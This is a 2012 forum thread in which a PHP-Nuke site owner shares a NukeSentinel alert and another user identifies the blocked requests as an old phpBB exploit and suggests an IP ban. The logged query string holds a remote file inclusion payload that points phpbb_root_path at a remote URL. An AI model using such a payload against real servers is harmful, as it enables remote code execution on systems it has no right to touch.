several hundred blocked abuse emails over the last 2 days

daverupe · New Member Joined: Dec 30, 2005 Posts: 24

I'm not sure what is going on. I have a site that has been up for several months with no issues. Suddenly, This past weekend, I began receiving several emails from NukeSentinel. The blocked IP Addresses are different. When I go into NukeSentineland look for the blocked IP's I don't see them there.

Here is a sample of the emails I'm getting from NukeSentinel (I've xxx out my ip address)

Code:

Subject: Blocked abuse from 91.121.170.124

Created By: NukeSentinel(tm) 2.6.03
Date & Time: 2012-01-15 22:46:30 EST GMT -0500 Blocked IP: 91.121.170.124 User ID: Anonymous (1)
Reason: Abuse-Filter
--------------------
Referer: none
User Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6 HTTP Host: xxx.xxx.xxx.xxx:xxxx Script Name: /modules/Forums/admin/admin_groups.php
Query String: phpbb_root_path=http://www.news.sakhtemani.net/images/daster.jpg??
Get String: phpbb_root_path=http://www.news.sakhtemani.net/images/daster.jpg??
Post String: Not Available
Forwarded For: none
Client IP: none
Remote Address: 91.121.170.124
Remote Port: 36955
Request Method: GET

Can anyone tell me what is going on and give a recommendation on how to stop it, or at least BLOCK these IP Addresses.?

Susann · Posted: Mon Jan 16, 2012 11:06 am

You can always change the settings in the Abuse blocker for example ban but no emails.Check your settings in this block. However, this is an old phpBB exploit and you are well protected with NukeSentinel. You can ignore this because it doesn´t work and they will stop it sometime and try other sites.
If you like to ban for a limited time this IP with cidr via .htaccess
deny 91.121.0.0/16

daverupe · New Member Joined: Dec 30, 2005 Posts: 24

Thank you for the explanation! I was getting worried.